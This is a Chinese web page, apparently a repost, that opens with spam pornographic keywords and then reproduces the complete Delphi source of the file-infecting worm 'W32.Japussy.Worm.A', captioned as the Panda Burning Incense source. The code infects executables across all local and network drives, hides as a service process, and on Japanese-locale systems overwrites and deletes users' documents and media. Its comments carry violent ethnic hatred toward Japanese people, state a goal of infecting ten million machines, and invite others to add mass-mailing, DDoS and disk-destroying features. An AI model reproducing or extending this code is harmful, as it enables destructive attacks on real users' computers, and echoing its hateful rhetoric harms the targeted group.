乡下人产国偷v产偷v自拍,国产午夜片在线观看,婷婷成人亚洲综合国产麻豆,久久综合给合久久狠狠狠9

  • <output id="e9wm2"></output>
    <s id="e9wm2"><nobr id="e9wm2"><ins id="e9wm2"></ins></nobr></s>

    • 分享

      Crossbow病毒開放源代碼-熊貓燒香源始代碼

       ShangShujie 2007-05-02
      以下代碼只做安全工作者參考,請勿用做非法用途,否則后果自負(fù).
      提示,所有病毒木馬都是依靠計(jì)算機(jī)中漏洞進(jìn)行病毒破壞以及木馬監(jiān)視.所以您只需要隨時(shí)更新微軟安全補(bǔ)丁,已經(jīng)安裝防火墻殺毒軟件,即可避免病毒木馬的破壞.
      還有一個(gè)就是最近微軟出的正版副本驗(yàn)證,大家要特別注意一下,提示安裝時(shí)請勿安裝(如果你是盜版)
      否則你就麻煩了~~嘎嘎
      { Taking our names from the great empire, instinct-driven face of the  }
      { human psyche, Chinese are, by general acknowledgement, the smartest  }
      { race in the world. Today, the sons of Qin Empire will give the just  }
      { punishment to those lousy japs, the mose flagitious race of the      }
      { world, the biggest enemy of all Chinese.                             }
      {                                                                      }
      { All wrathful brethren, Unite!                                        }
      {                                                                      }
      { This program is free software; you can redistribute it and/or modify }
      { it under the terms of the GNU General Public License as published by }
      { the Free Software Foundation; either version 2, or (at your option)  }
      { any later version.                                                   }
      {                                                                      }
      {                      Crossbow病毒開放源代碼計(jì)劃                      }
      {                                                                      }
      {                版權(quán)所有 (C) 1999-2003 Crossbow [中國]                }
      {                                                                      }
      { 就像我們的名字來自于那個(gè)偉大的帝國一樣,人類靈魂的本能所能公認(rèn)的,   }
      { 中華民族,是全世界眾所周知最聰明的民族。今天,大秦帝國的子孫們將給予 }
      { 中華民族的世代仇敵,那些卑劣猥瑣的倭狗,世界上最無恥、最卑鄙、最殘忍 }
      { 的民族以正義的懲罰。                                                 }
      {                                                                      }
      { 憤怒的炎黃子孫們,團(tuán)結(jié)起來!                                         }
      {                                                                      }
      { 這份程序是自由軟件,你可以在基于由自由軟件基金會(Free Software       } 
      { Foundation) 所發(fā)布之GNU通用公眾協(xié)議(GNU General Public License)的原  }
      { 則上再分發(fā)和/或修改它,或其后續(xù)版本。                                }
      {                                                                      }
      {**********************************************************************}

      {**********************************************************************}
      { Name:         W32.Japussy.Worm.A 0.01  Alpha                         }
      { Date:         2003/10/21                                             }
      { Compiler:     Delphi 5 or later                                      }
      { Contributors: Sorted by Alphabet                                     }
      {               BaiLaoHu     [bailaohu@yeah.net]                       }
      {               Crossbow     [crossbow@borlandsoft.com]                }
      {               JunFengRen   [junfeng.ren@mail.tinco.com]              }
      {               ThenLong     [thenlong@msn.com]                        }
      {               TieXinLiu    [tiexinliu@8860.net]                      }
      { Total 5 persons                                                      }
      {                                                                      }
      { 名字:         W32.Japussy.Worm.A 0.01 Alpha                          }
      { 日期:         2003/10/21                                             }
      { 編譯器:       Delphi 5或更新                                         }
      { 參與者:       以字母順序排列                                         }
      {               BaiLaoHu     [bailaohu@yeah.net]                       }
      {               Crossbow     [crossbow@borlandsoft.com]                }
      {               JunFengRen   [junfeng.ren@mail.tinco.com]              }
      {               ThenLong     [thenlong@msn.com]                        }
      {               TieXinLiu    [tiexinliu@8860.net]                      }
      { 目前總共5人                                                          }
      {**********************************************************************}

      {**********************************************************************}
      { 待解決的問題:                                                        }
      {                                                                      }
      { 1. WinNT下遠(yuǎn)程線程映射到Explorer進(jìn)程                                 }
      { 1. WinNT下獲得管理員權(quán)限                                             }
      { 2. 自己開SMTP服務(wù)器發(fā)帶毒郵件或者用ESMTP發(fā)帶毒郵件                   }
      { 3. Base64編碼,在保持不大幅增加病毒體大小的前提下                    }
      { 4. 固定日期DDoS(集群式拒絕服務(wù))攻擊指定倭狗網(wǎng)站支付網(wǎng)關(guān)              }
      { 5. 能殺掉常見防火墻和殺毒軟件進(jìn)程                                    }
      { 6. 絕對磁盤扇區(qū)寫操作,摧毀分區(qū)表和文件分配表                        }
      {**********************************************************************}

      {**********************************************************************}
      { 這份計(jì)劃借鑒了SOJ老大的代碼,并做了大量的修改和完善。Upx壓縮過的病毒 }
      { 體只有38K,和其它Win32ASM寫的6K左右的病毒來說可以是龐然大物了。由于  }
      { 沒有修改入口點(diǎn),目前Norton AntiVirus 2001無法查出它。                }
      {                                                                      }
      { 我認(rèn)為與其在論壇上對倭狗破口大罵,還不如做點(diǎn)實(shí)事。一來可以學(xué)習(xí)知識, }
      { 提高水平,認(rèn)識一些可以互相學(xué)習(xí)的朋友。二來完工后可以讓倭狗吃點(diǎn)苦頭, }
      { 還是很愜意的。我的目標(biāo)是感染1000萬臺以上的機(jī)器。                     }
      {                                                                      }
      { 目前這個(gè)病毒還遠(yuǎn)遠(yuǎn)沒有達(dá)到預(yù)定的設(shè)想,所以希望大家一起來完善它。如果 } 
      { 可能,以后會用Win32Asm重寫它。                                       }
      {                                                                      }
      { 這是一個(gè)公益計(jì)劃,本著完全自愿開發(fā)的原則。希望大家在不影響工作的情況 }
      { 下利用空余時(shí)間加入本計(jì)劃。加入這個(gè)計(jì)劃的朋友可以獲贈我收藏的200余篇  }
      { 病毒的代碼和資料,我將不定期在CSDN上公布計(jì)劃的進(jìn)度。                 }
      {                                                                      }
      {**********************************************************************}

      {**********************************************************************}
      { 嚴(yán)重警告:                                                            }
      {                                                                      }
      { ?。。≌埐灰谖醋x懂源代碼的情況下編譯運(yùn)行本程序,否則后果自負(fù)?。?! }
      {                                                                      }
      { 我們交流的是技術(shù),展示的源代碼和相關(guān)代碼的目的只是為了說明技術(shù)的原理 }
      { 和使用。如果任何個(gè)人或組織利用本文檔發(fā)布的技術(shù)進(jìn)行破壞,應(yīng)由其本人負(fù) }
      { 責(zé),與本計(jì)劃的參與者無關(guān)?。?!                                       }
      {                                                                      }
      {**********************************************************************}

      program Japussy;

      uses
        Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};

      const
        HeaderSize = 82432;                  //病毒體的大小
        IconOffset = $12EB8;                 //PE文件主圖標(biāo)的偏移量
        
        //在我的Delphi5 SP1上面編譯得到的大小,其它版本的Delphi可能不同
        //查找2800000020的十六進(jìn)制字符串可以找到主圖標(biāo)的偏移量
         
      {
        HeaderSize = 38912;                  //Upx壓縮過病毒體的大小
        IconOffset = $92BC;                  //Upx壓縮過PE文件主圖標(biāo)的偏移量
        
        //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
      }

        IconSize   = $2E8;                   //PE文件主圖標(biāo)的大小--744字節(jié)
        IconTail   = IconOffset + IconSize;  //PE文件主圖標(biāo)的尾部
        ID         = $44444444;              //感染標(biāo)記
        
        //垃圾碼,以備寫入
        Catchword = ‘If a race need to be killed out, it must be Yamato. ‘ +
                    ‘If a country need to be destroyed, it must be Japan! ‘ +
                    ‘*** W32.Japussy.Worm.A ***‘;

      {$R *.RES}

      function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; 
        stdcall; external ‘Kernel32.dll‘; //函數(shù)聲明

      var
        TmpFile: string;
        Si:      STARTUPINFO;
        Pi:      PROCESS_INFORMATION;
        IsJap:   Boolean = False; //日文操作系統(tǒng)標(biāo)記

      { 判斷是否為Win9x }

      function IsWin9x: Boolean;
      var
        Ver: TOSVersionInfo;
      begin
        Result := False;
        Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
        if not GetVersionEx(Ver) then
          Exit;
        if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
          Result := True;
      end;

      { 在流之間復(fù)制 }

      procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
        dStartPos: Integer; Count: Integer);
      var
        sCurPos, dCurPos: Integer;
      begin
        sCurPos := Src.Position;
        dCurPos := Dst.Position;
        Src.Seek(sStartPos, 0);
        Dst.Seek(dStartPos, 0);
        Dst.CopyFrom(Src, Count);
        Src.Seek(sCurPos, 0);
        Dst.Seek(dCurPos, 0);
      end;

      { 將宿主文件從已感染的PE文件中分離出來,以備使用 }

      procedure ExtractFile(FileName: string);
      var
        sStream, dStream: TFileStream;
      begin
        try
          sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
          try
            dStream := TFileStream.Create(FileName, fmCreate);
            try
              sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分
              dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
            finally
              dStream.Free;
            end;
          finally
            sStream.Free;
          end;
        except
        end;
      end;

      { 填充STARTUPINFO結(jié)構(gòu) }

      procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
      begin
        Si.cb := SizeOf(Si);
        Si.lpReserved := nil;
        Si.lpDesktop := nil;
        Si.lpTitle := nil;
        Si.dwFlags := STARTF_USESHOWWINDOW;
        Si.wShowWindow := State;
        Si.cbReserved2 := 0;
        Si.lpReserved2 := nil;
      end;

      { 發(fā)帶毒郵件 }

      procedure SendMail;
      begin
        //哪位仁兄愿意完成之?
      end;

      { 感染PE文件 }

      procedure InfectOneFile(FileName: string);
      var
        HdrStream, SrcStream: TFileStream;
        IcoStream, DstStream: TMemoryStream;
        iID: LongInt;
        aIcon: TIcon;
        Infected, IsPE: Boolean;
        i: Integer;
        Buf: array[0..1] of Char;
      begin
        try //出錯(cuò)則文件正在被使用,退出
          if CompareText(FileName, ‘JAPUSSY.EXE‘) = 0 then //是自己則不感染
            Exit;
          Infected := False;
          IsPE     := False;
          SrcStream := TFileStream.Create(FileName, fmOpenRead);
          try
            for i := 0 to $108 do //檢查PE文件頭
            begin
              SrcStream.Seek(i, soFromBeginning);
              SrcStream.Read(Buf, 2);
              if (Buf[0] = #80) and (Buf[1] = #69) then //PE標(biāo)記
              begin
                IsPE := True; //是PE文件
                Break;
              end;
            end;
            SrcStream.Seek(-4, soFromEnd); //檢查感染標(biāo)記
            SrcStream.Read(iID, 4);
            if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
              Infected := True;
          finally
            SrcStream.Free;
          end;
          if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出
            Exit;
          IcoStream := TMemoryStream.Create;
          DstStream := TMemoryStream.Create;
          try
            aIcon := TIcon.Create;
            try
              //得到被感染文件的主圖標(biāo)(744字節(jié)),存入流
              aIcon.ReleaseHandle;
              aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
              aIcon.SaveToStream(IcoStream);
            finally
              aIcon.Free;
            end;
            SrcStream := TFileStream.Create(FileName, fmOpenRead);
            //頭文件
            HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
            try
              //寫入病毒體主圖標(biāo)之前的數(shù)據(jù)
              CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
              //寫入目前程序的主圖標(biāo)
              CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
              //寫入病毒體主圖標(biāo)到病毒體尾部之間的數(shù)據(jù)
              CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
              //寫入宿主程序
              CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
              //寫入已感染的標(biāo)記
              DstStream.Seek(0, 2);
              iID := $44444444;
              DstStream.Write(iID, 4);
            finally
              HdrStream.Free;
            end;
          finally
            SrcStream.Free;
            IcoStream.Free;
            DstStream.SaveToFile(FileName); //替換宿主文件
            DstStream.Free;
          end;
        except;
        end;
      end;

      { 將目標(biāo)文件寫入垃圾碼后刪除 }

      procedure SmashFile(FileName: string);
      var
        FileHandle: Integer;
        i, Size, Mass, Max, Len: Integer;
      begin
        try
          SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
          FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件
          try
            Size := GetFileSize(FileHandle, nil); //文件大小
            i := 0;
            Randomize;
            Max := Random(15); //寫入垃圾碼的隨機(jī)次數(shù)
            if Max < 5 then
              Max := 5;
            Mass := Size div Max; //每個(gè)間隔塊的大小
            Len := Length(Catchword);
            while i < Max do
            begin
              FileSeek(FileHandle, i * Mass, 0); //定位
              //寫入垃圾碼,將文件徹底破壞掉
              FileWrite(FileHandle, Catchword, Len);
              Inc(i);
            end;
          finally
            FileClose(FileHandle); //關(guān)閉文件
          end;
          DeleteFile(PChar(FileName)); //刪除之
        except
        end;
      end;

      { 獲得可寫的驅(qū)動(dòng)器列表 }

      function GetDrives: string;
      var
        DiskType: Word;
        D: Char;
        Str: string;
        i: Integer;
      begin
        for i := 0 to 25 do //遍歷26個(gè)字母
        begin
          D := Chr(i + 65);
          Str := D + ‘:\‘;
          DiskType := GetDriveType(PChar(Str));
          //得到本地磁盤和網(wǎng)絡(luò)盤
          if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
            Result := Result + D;
        end;
      end;

      { 遍歷目錄,感染和摧毀文件 }

      procedure LoopFiles(Path, Mask: string);
      var
        i, Count: Integer;
        Fn, Ext: string;
        SubDir: TStrings;
        SearchRec: TSearchRec;
        Msg: TMsg;
        function IsValidDir(SearchRec: TSearchRec): Integer;
        begin
          if (SearchRec.Attr <> 16) and  (SearchRec.Name <> ‘.‘) and
            (SearchRec.Name <> ‘..‘) then
            Result := 0 //不是目錄
          else if (SearchRec.Attr = 16) and  (SearchRec.Name <> ‘.‘) and
            (SearchRec.Name <> ‘..‘) then
              Result := 1 //不是根目錄
          else Result := 2; //是根目錄
        end;
      begin
        if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
        begin
          repeat
            PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調(diào)整消息隊(duì)列,避免引起懷疑
            if IsValidDir(SearchRec) = 0 then
            begin
              Fn := Path + SearchRec.Name;
              Ext := UpperCase(ExtractFileExt(Fn));
              if (Ext = ‘.EXE‘) or (Ext = ‘.SCR‘) then
              begin
                InfectOneFile(Fn); //感染可執(zhí)行文件        
              end
              else if (Ext = ‘.HTM‘) or (Ext = ‘.HTML‘) or (Ext = ‘.ASP‘) then
              begin
                //感染HTML和ASP文件,將Base64編碼后的病毒寫入
                //感染瀏覽此網(wǎng)頁的所有用戶
                //哪位大兄弟愿意完成之?
              end
              else if Ext = ‘.WAB‘ then //Outlook地址簿文件
              begin
                //獲取Outlook郵件地址
              end
              else if Ext = ‘.ADC‘ then //Foxmail地址自動(dòng)完成文件
              begin
                //獲取Foxmail郵件地址
              end
              else if Ext = ‘IND‘ then //Foxmail地址簿文件
              begin
                //獲取Foxmail郵件地址
              end
              else 
              begin
                if IsJap then //是倭文操作系統(tǒng)
                begin
                  if (Ext = ‘.DOC‘) or (Ext = ‘.XLS‘) or (Ext = ‘.MDB‘) or
                    (Ext = ‘.MP3‘) or (Ext = ‘.RM‘) or (Ext = ‘.RA‘) or
                    (Ext = ‘.WMA‘) or (Ext = ‘.ZIP‘) or (Ext = ‘.RAR‘) or
                    (Ext = ‘.MPEG‘) or (Ext = ‘.ASF‘) or (Ext = ‘.JPG‘) or
                    (Ext = ‘.JPEG‘) or (Ext = ‘.GIF‘) or (Ext = ‘.SWF‘) or
                    (Ext = ‘.PDF‘) or (Ext = ‘.CHM‘) or (Ext = ‘.AVI‘) then
                      SmashFile(Fn); //摧毀文件
                end;
              end;
            end;
            //感染或刪除一個(gè)文件后睡眠200毫秒,避免CPU占用率過高引起懷疑
            Sleep(200);
          until (FindNext(SearchRec) <> 0);
        end;
        FindClose(SearchRec);
        SubDir := TStringList.Create;
        if (FindFirst(Path + ‘*.*‘, faDirectory, SearchRec) = 0) then
        begin
          repeat
            if IsValidDir(SearchRec) = 1 then
              SubDir.Add(SearchRec.Name);
          until (FindNext(SearchRec) <> 0);
          end;
        FindClose(SearchRec);
        Count := SubDir.Count - 1;
        for i := 0 to Count do
          LoopFiles(Path + SubDir.Strings[i] + ‘\‘, Mask);
        FreeAndNil(SubDir);
      end;

      { 遍歷磁盤上所有的文件 }

      procedure InfectFiles;
      var
        DriverList: string;
        i, Len: Integer;
      begin
        if GetACP = 932 then //日文操作系統(tǒng)
          IsJap := True; //去死吧!
        DriverList := GetDrives; //得到可寫的磁盤列表
        Len := Length(DriverList);
        while True do //死循環(huán)
        begin
          for i := Len downto 1 do //遍歷每個(gè)磁盤驅(qū)動(dòng)器
            LoopFiles(DriverList[i] + ‘:\‘, ‘*.*‘); //感染之
          SendMail; //發(fā)帶毒郵件
          Sleep(1000 * 60 * 5); //睡眠5分鐘
        end;
      end;

      { 主程序開始 }

      begin
        if IsWin9x then //是Win9x
          RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務(wù)進(jìn)程
        else //WinNT
        begin
          //遠(yuǎn)程線程映射到Explorer進(jìn)程
          //哪位兄臺愿意完成之?
        end;
        //如果是原始病毒體自己
        if CompareText(ExtractFileName(ParamStr(0)), ‘Japussy.exe‘) = 0 then
          InfectFiles //感染和發(fā)郵件
        else //已寄生于宿主程序上了,開始工作
        begin
          TmpFile := ParamStr(0); //創(chuàng)建臨時(shí)文件
          Delete(TmpFile, Length(TmpFile) - 4, 4);
          TmpFile := TmpFile + #32 + ‘.exe‘; //真正的宿主文件,多一個(gè)空格
          ExtractFile(TmpFile); //分離之
          FillStartupInfo(Si, SW_SHOWDEFAULT);
          CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
            0, nil, ‘.‘, Si, Pi); //創(chuàng)建新進(jìn)程運(yùn)行之
          InfectFiles; //感染和發(fā)郵件
        end;
      end. 

      Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1594965

        本站是提供個(gè)人知識管理的網(wǎng)絡(luò)存儲空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點(diǎn)擊一鍵舉報(bào)。
        轉(zhuǎn)藏 分享 獻(xiàn)花(0

        0條評論

        發(fā)表

        請遵守用戶 評論公約

        類似文章 更多